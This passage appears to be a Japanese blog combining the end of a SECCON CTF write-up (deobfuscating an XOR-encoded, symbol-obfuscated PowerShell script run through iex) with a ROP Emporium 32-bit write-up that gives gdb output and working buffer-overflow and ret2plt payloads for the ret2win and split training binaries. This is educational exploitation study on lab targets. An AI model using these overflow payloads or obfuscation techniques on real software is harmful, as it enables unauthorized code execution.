    for ($j = 0; $j -lt $f.length; $j++) {
        $plain+=$byteString[$i] -bxor $f[$j]
        $i++
        if ($i -ge $byteString.Length) {
            $j = $f.length
        }
    }
})
iex([System.Text.Encoding]::ASCII.GetString($plain))

$textというbase64エンコードされた変数に対して,先ほどの正しい入力値を使ってxorで復号しているようです.その後,それを実行しているようなので,再びどんなコードが実行されているのか$plainを別ファイルへ書き出してみました.

すると,以下のような内容のファイルが.

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

なんだか凄いことになっていますが,記号プログラミングっぽいとわかります.

見やすいように整理します.

${;} =+$();
${=} =${;};
${+} =++${;};
${@} =++${;};
${.} =++${;};
${[} =++${;};

${]}=++${;};
${(}=++${;};
${)}=++${;};
${&}=++${;};
${|}=++${;};

${"} = "["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";

${;} = "".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);

${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

最初いくつかの変数を宣言した後,最下行で実行しているっぽいです.末尾のパイプを使った |${;}"|&${;} 辺りで実行してそうなのでこれを削除してから,なにが実行されているのかを見るために Write-Host ${;} してみます.

PS C:\Users\ywkw1\Work> .\plain.ps1
[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125
iex

(僕はここで,[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125 がフラグやんけ!って思ってASCII変換してでてきた SECCON{$ECCON} という文字列をsubmitして見事に間違えました.)

全て文字に直してみると,以下のようになりました.

$ECCON=Read-Host -Prompt 'Enter the password'
If($ECCON -eq 'P0wEr$H311'){
    Write-Host 'Good Job!';
    Write-Host "SECCON{$ECCON}"
}

$ECCONに入力値を流し込んで,それが P0wEr$H311 という文字列と等しければそれをフラグとして出力するようになっています.

ということで,フラグは SECCON{P0wEr$H311} でした.

取り組んだが解けなかった問題

Qubic Rube (Programming 300)

QRコードが6面に貼られた3x3x3のルービックキューブが出てきて,揃えて出てくるQRコードを読むと次の問題へっていうやつです.これを50回繰り返す必要があります.配色が日本配色でした.QRコードについて調べていた時期があったり,ルービックキューブも趣味でやっているので俺得問題やんけ!ってなって始めたのがきっかけです.

この問題では実際にQubic Rubeを作ってみて解いていたのですが,そもそも作った経緯が,問題が変わってもQRコード自体は変らないと思い込んでいて,なら実際に作ったほうが楽になるんじゃねと思ったのがきっかけです.チームメンバーの一人はステージ3ぐらいまでペイントツールで解いていて問題には気づいていたらしいのですが,お互いの情報共有や会話が上手く噛み合っていなかったのもあって,情報共有大事だなと思いました.

さらに運の悪いことに,6面それぞれの画像がWebサイトのソースコードから入手できることに気づかず,ドット絵を描くツールを使って全部手打ちで書き起こしていました.結果,7時間ほどでQubic Rubeは爆誕したわけです.

以下,製作工程です.ルービックキューブは自宅にあった Dayan ZhanChi 57mm を使いました.

ルービックキューブの大きさに合わせて5.7cmで6面をカラー印刷してきたら,綺麗に切り抜きます.

その後,裏面に両面テープを貼り付けていきます.

綺麗に貼り終わりました.

その後,これを9分割するのですが注意点として真ん中が13マス,両端が10マスになるように切っていきます.

これをキューブに丁寧に貼っていけば完成です.

自分のミスがわかってから,深夜にチーム全体で話し合って解く方針を決めました.流れとしては以下の順です.

  1. 6面の画像全てをサイトから落としてきて,それぞれを9分割する
  2. ルービックキューブを解くライブラリを使うために,9分割した画像を色判定して特定の順番で記号に置き換える
  3. 置き換えた記号をライブラリに流しこんで,解を得る
  4. 実際のルービックキューブを使って,出てきた解を逆の順番かつ逆の手順で回し,同じ状態にする
  5. URLがでてきそうな色に特定の順番で番号を振っていき,その後ライブラリから得られた手順を使って元に戻す
  6. すると,その色の各パーツの配置がわかるので,それを元に9枚の画像を配置し,向きがあっていない場合はそれぞれの画像を回転させてQRコードを得る

1,2,3,6辺りはスクリプト化します.ライブラリはkociembaというアルゴリズムを実装したものを使いました.

github.com

ここで,実際に作ったQubic Rubeが,QRコードを動かすイメージがついたり付箋で番号を貼って実際に回して位置を把握したりと,意外と役に立ったので良かったです.

上記の手順で10ステージまではいったのですが,その後ライブラリが上手く動かなくなるということが起きました.どうやら問題のキューブの配色が微妙に変わるということが起きていて,このライブラリは決められた配色でしか動かないようだったので,途中からは以下のサイトで手作業で手順を求めました.

rubiks-cube-solver.com

結局,1・2・6は後輩が,3・4・5は僕がやるという連携プレイで解いていました.URLが出てくる色が10ステージ目までは黄色だったのに,そこからはランダムになって苦戦したのですが,URLがでてきそうな色の判別は全て目視で行えるようになって,主にQRコードのデータコード語の部分の配置を見てデータが入って無さそうなやつはURLではない,とか形式情報の下位8bitで判断したりもしていました.

こんな感じ↓で作業してました.

そんなこんなで,ようやく流れに乗れたのが朝の11時とかだったので,そこからどんどん解いていきましたが最終的に37/50ステージ目でタイムアップしてしまいました.

あと2時間あれば絶対解けたはず...

まとめ

本当に楽しかったです.某所に男4人が集まってやっていたのですが,深夜にチーム全体で話し合ったときなどはこれぞチームって感じでした.

来年こそは100位以内に入れるように...

ROP Emporium Writeup(32bit)

はじめに

最近Pwnを始めて,ROP Emporiumというサイトを元に進めてます.少人数でのPwn勉強会でもこれを題材にしていたりします.で,ダラダラと進めてたらようやく32bitのほうが全部終わったのでwriteupを残そうと思います.めっちゃ勉強になるサイトなんですが,writeupをググると英語の記事はあるものの,日本語の記事が見当たらないので,書いておきます.

ROP Emporiumとは?

writeupの前に簡単な説明をしておくと,ROPというテクニックを主に学ぶことができるサイトです.7つの問題があり,それぞれ32bit版と64bit版があるので,計14問です.確かFBで@encry1024さんがリンクを貼っているのを見て存在を知りました.

問題としては脆弱なバイナリとflag.txtが与えられるので,実行ファイルからflag.txtを読み出せたら勝ちっていう感じです.

では,以下32bit版のwriteupです.

※誤りがあれば教えて頂けると有難いです!

  • ret2winBoFさせて任意のアドレスへ遷移させるやり方など)

  • split (ret2plt)

  • calllme (ROP基本)

  • write4 (任意の文字列を引数に渡す方法)

  • badchars (特定の文字がエスケープされる環境)

  • fluff (write4改みたいなやつ)

  • pivot (stack pivot)

ret2win

$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

$ ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> hoge

Exiting

適当に長い入力値を与えるとオーバーフローするので,gdbで調べます.(BoFは全ての問題で共通して存在します)

$ gdb ret2win32
Reading symbols from ret2win32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Starting program: /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/ret2win32/ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffbd10 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7fa687c --> 0x0 
ESI: 0xf7fa5000 --> 0x1b1db0 
EDI: 0xf7fa5000 --> 0x1b1db0 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 
0004| 0xffffbd44 --> 0xffffbd60 --> 0x1 
0008| 0xffffbd48 --> 0x0 
0012| 0xffffbd4c --> 0xf7e0b637 (<__libc_start_main+247>:   add    esp,0x10)
0016| 0xffffbd50 --> 0xf7fa5000 --> 0x1b1db0 
0020| 0xffffbd54 --> 0xf7fa5000 --> 0x1b1db0 
0024| 0xffffbd58 --> 0x0 
0028| 0xffffbd5c --> 0xf7e0b637 (<__libc_start_main+247>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

patto AFAAというのはoffsetを調べる時に使用し, patto EIP のように使います. offsetが44とわかったので,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます.

任意のアドレスに遷移させることができる現在の状態を,「EIPを奪った」とかいいます.

次に,実行ファイルの中にどのような関数があるのかを見てみます.

$ gdb ret2win32
Reading symbols from ret2win32...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x08048659  ret2win
0x08048690  __libc_csu_init
0x080486f0  __libc_csu_fini
0x080486f4  _fini

pwnmeとret2winという関数が気になります.mainとpwnmeとret2winをそれぞれ逆アセンブルして読んでみます.

main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804857b <+0>:  lea    ecx,[esp+0x4]
   0x0804857f <+4>: and    esp,0xfffffff0
   0x08048582 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048585 <+10>:    push   ebp
   0x08048586 <+11>:    mov    ebp,esp
   0x08048588 <+13>:    push   ecx
   0x08048589 <+14>:    sub    esp,0x4
   0x0804858c <+17>:    mov    eax,ds:0x804a064
   0x08048591 <+22>:    push   0x0
   0x08048593 <+24>:    push   0x2
   0x08048595 <+26>:    push   0x0
   0x08048597 <+28>:    push   eax
   0x08048598 <+29>:    call   0x8048450 <setvbuf@plt>
   0x0804859d <+34>:    add    esp,0x10
   0x080485a0 <+37>:    mov    eax,ds:0x804a040
   0x080485a5 <+42>:    push   0x0
   0x080485a7 <+44>:    push   0x2
   0x080485a9 <+46>:    push   0x0
   0x080485ab <+48>:    push   eax
   0x080485ac <+49>:    call   0x8048450 <setvbuf@plt>
   0x080485b1 <+54>:    add    esp,0x10
   0x080485b4 <+57>:    sub    esp,0xc
   0x080485b7 <+60>:    push   0x8048710
   0x080485bc <+65>:    call   0x8048420 <puts@plt>
   0x080485c1 <+70>:    add    esp,0x10
   0x080485c4 <+73>:    sub    esp,0xc
   0x080485c7 <+76>:    push   0x8048728
   0x080485cc <+81>:    call   0x8048420 <puts@plt>
   0x080485d1 <+86>:    add    esp,0x10
   0x080485d4 <+89>:    call   0x80485f6 <pwnme>
   0x080485d9 <+94>:    sub    esp,0xc
   0x080485dc <+97>:    push   0x8048730
   0x080485e1 <+102>:   call   0x8048420 <puts@plt>
   0x080485e6 <+107>:   add    esp,0x10
   0x080485e9 <+110>:   mov    eax,0x0
   0x080485ee <+115>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x080485f1 <+118>:   leave  
   0x080485f2 <+119>:   lea    esp,[ecx-0x4]
   0x080485f5 <+122>:   ret    
End of assembler dump.

pwnme

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:  push   ebp
   0x080485f7 <+1>: mov    ebp,esp
   0x080485f9 <+3>: sub    esp,0x28
   0x080485fc <+6>: sub    esp,0x4
   0x080485ff <+9>: push   0x20
   0x08048601 <+11>:    push   0x0
   0x08048603 <+13>:    lea    eax,[ebp-0x28]
   0x08048606 <+16>:    push   eax
   0x08048607 <+17>:    call   0x8048460 <memset@plt>
   0x0804860c <+22>:    add    esp,0x10
   0x0804860f <+25>:    sub    esp,0xc
   0x08048612 <+28>:    push   0x804873c
   0x08048617 <+33>:    call   0x8048420 <puts@plt>
   0x0804861c <+38>:    add    esp,0x10
   0x0804861f <+41>:    sub    esp,0xc
   0x08048622 <+44>:    push   0x80487bc
   0x08048627 <+49>:    call   0x8048420 <puts@plt>
   0x0804862c <+54>:    add    esp,0x10
   0x0804862f <+57>:    sub    esp,0xc
   0x08048632 <+60>:    push   0x8048821
   0x08048637 <+65>:    call   0x8048400 <printf@plt>
   0x0804863c <+70>:    add    esp,0x10
   0x0804863f <+73>:    mov    eax,ds:0x804a060
   0x08048644 <+78>:    sub    esp,0x4
   0x08048647 <+81>:    push   eax
   0x08048648 <+82>:    push   0x32
   0x0804864a <+84>:    lea    eax,[ebp-0x28]
   0x0804864d <+87>:    push   eax
   0x0804864e <+88>:    call   0x8048410 <fgets@plt>
   0x08048653 <+93>:    add    esp,0x10
   0x08048656 <+96>:    nop
   0x08048657 <+97>:    leave  
   0x08048658 <+98>:    ret    
End of assembler dump.

ret2win

gdb-peda$ disas ret2win 
Dump of assembler code for function ret2win:
   0x08048659 <+0>:  push   ebp
   0x0804865a <+1>: mov    ebp,esp
   0x0804865c <+3>: sub    esp,0x8
   0x0804865f <+6>: sub    esp,0xc
   0x08048662 <+9>: push   0x8048824
   0x08048667 <+14>:    call   0x8048400 <printf@plt>
   0x0804866c <+19>:    add    esp,0x10
   0x0804866f <+22>:    sub    esp,0xc
   0x08048672 <+25>:    push   0x8048841
   0x08048677 <+30>:    call   0x8048430 <system@plt>
   0x0804867c <+35>:    add    esp,0x10
   0x0804867f <+38>:    nop
   0x08048680 <+39>:    leave  
   0x08048681 <+40>:    ret    
End of assembler dump.

mainではsetvbufで標準入出力のバッファリングを無効にしたり,putsで何かを出力したり,pwnmeを呼んだりしています.putsで出力しているのは,実行時に表示される説明とかです.

次にpwnmeですが,memsetで何かを初期化したり,putsやprintfで何かを出力して,最終的にfgetsで入力値を受け取っています.

最後にret2winですが,こちらもprintfで何かを出力していますが,重要なのはsystem関数を呼んでいる部分です.引数には何を渡しているのでしょうか?渡しているアドレスに何が格納されているかを調べてみます.

gdb-peda$ x/s 0x8048841
0x8048841: "/bin/cat flag.txt"

どうやらret2winはflag.txtを表示してくれる関数のようです.よって,pwnmeのfgetsでBoFさせ,ret2winに遷移させれば終わりです.

アドレスはリトルエンディアンで書きます.

exploit

$ python -c 'print "A" * 44 + "\x59\x86\x04\x08"' |./ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
zsh: done                              python -c 'print "A" * 44 + "\x59\x86\x04\x08"' | 
zsh: segmentation fault (core dumped)  ./ret2win32

split

$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped

$ ./split32
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> hoge

Exiting

BoFする長さとかは全問題で共通しているので,省略します.(1問目と同様に,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます)

$ gdb split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x08048649  usefulFunction
0x08048670  __libc_csu_init
0x080486d0  __libc_csu_fini
0x080486d4  _fini

今度はusefulFunctionという関数があるので,逆アセンブルしてみます.

usefulFunction

gdb-peda$ disas usefulFunction 
Dump of assembler code for function usefulFunction:
   0x08048649 <+0>:  push   ebp
   0x0804864a <+1>: mov    ebp,esp
   0x0804864c <+3>: sub    esp,0x8
   0x0804864f <+6>: sub    esp,0xc
   0x08048652 <+9>: push   0x8048747
   0x08048657 <+14>:    call   0x8048430 <system@plt>
   0x0804865c <+19>:    add    esp,0x10
   0x0804865f <+22>:    nop
   0x08048660 <+23>:    leave  
   0x08048661 <+24>:    ret    
End of assembler dump.

systemに渡されている引数を調べます.

gdb-peda$ x/s 0x8048747
0x8048747:  "/bin/ls"

どうやら,usefulFunctionはlsするだけの関数のようです.どこかにflagをcatしてくれる文字列などが無いかを調べます.

実行ファイル中の文字列をstringsで列挙してみます.

$ strings split32
......
Contriving a reason to ask user for data...
/bin/ls
;*2$"(
/bin/cat flag.txt
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crtstuff.c
......

すると,/bin/cat flag.txtという文字列が見つかります.system関数はsplitの中にあるので, "/bin/cat flag.txt" を引数として渡してあげれば良さそうです.「関数を引数に渡す」という行為はレジスタへ直接値を入れるか,またはスタックを経由して行われる方法の2通りがありますが,今回はスタックを経由して渡していきます.

スタックを経由して引数を渡す場合,通常push命令を使って値をスタックへ積みます.しかし,オーバーフロー時は任意のアドレスへ遷移させた時と同様に,任意の値をスタックへ用意することができるので,スタックの状態をいい感じにします.

通常のスタックの状態

+-+-+-+-+-+-+-+ ↑low
...............
+-+-+-+-+-+-+-+
  local val
+-+-+-+-+-+-+-+
  saved ebp
+-+-+-+-+-+-+-+
return address
+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+ ↓ high

今回の場合,入力値を保存する先の変数がlocal val辺りにあるはずです.BoFが起こるとsaved ebp(EBPというスタックの底を表すレジスタの値が保存されている場所です)とreturn address(元のルーチンへ戻る為にスタックへ保存しています)が書き換えられ,任意の場所に遷移させることができるわけです.

これを,オーバーフローさせて以下のようにします.

+-+-+-+-+-+-+-+-+ ↑low
   ......AA
+-+-+-+-+-+-+-+-+
   AAAA
+-+-+-+-+-+-+-+-+
   AAAA
+-+-+-+-+-+-+-+-+
   system@plt(元々のreturn addressをsystem@pltへ)
+-+-+-+-+-+-+-+-+
   return address(system@pltのreturn先)
+-+-+-+-+-+-+-+-+
/bin/cat flag.txtのアドレス
+-+-+-+-+-+-+-+-+
...............
+-+-+-+-+-+-+-+-+ ↓ high

こうすると,system@pltがリターン先となり,最終的に/bin/cat flag.txtを引数としてsystem関数が実行されます.これをret2pltと言います.

@pltというのはplt領域という場所を指しています.この領域は遅延リンクという仕組みを実現するためのもので,その後plt領域からgot領域へ飛び,さらにsystem関数本体へと飛ぶ2段構成になっていたりします.got領域が解決されたアドレスを管理するテーブルになっているのですが,ここら辺の話はググって調べたほうがわかりやすいと思うので,割愛します.

最後に,/bin/cat flag.txtが格納されている場所を調べます.

$ gdb split32
gdb-peda$ find /bin/cat
Searching for '/bin/cat' in: None ranges
Found 1 results, display max 1 items:
split32 : 0x804a030 ("/bin/cat flag.txt")

よって,exploitは以下のようになります.(AAAAはsystem@pltから返る先のアドレスで,ダミーなのでなんでもOKです)

exploit

$ python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' |./split32
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
zsh: done                              python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' | 
zsh: segmentation fault (core dumped)  ./split32

callme

$ file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped

$ ./callme32
callme by ROP Emporium
32bits

Hope you read the instructions...
> hoge

Exiting

gdbで見てみます.

$ gdb callme32
Reading symbols from callme32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048558  _init
0x08048590  printf@plt
0x080485a0  fgets@plt
0x080485b0  callme_three@plt
0x080485c0  callme_one@plt
0x080485d0  puts@plt
0x080485e0  exit@plt
0x080485f0  __libc_start_main@plt
0x08048600  setvbuf@plt
0x08048610  memset@plt
0x08048620  callme_two@plt
0x08048640  _start
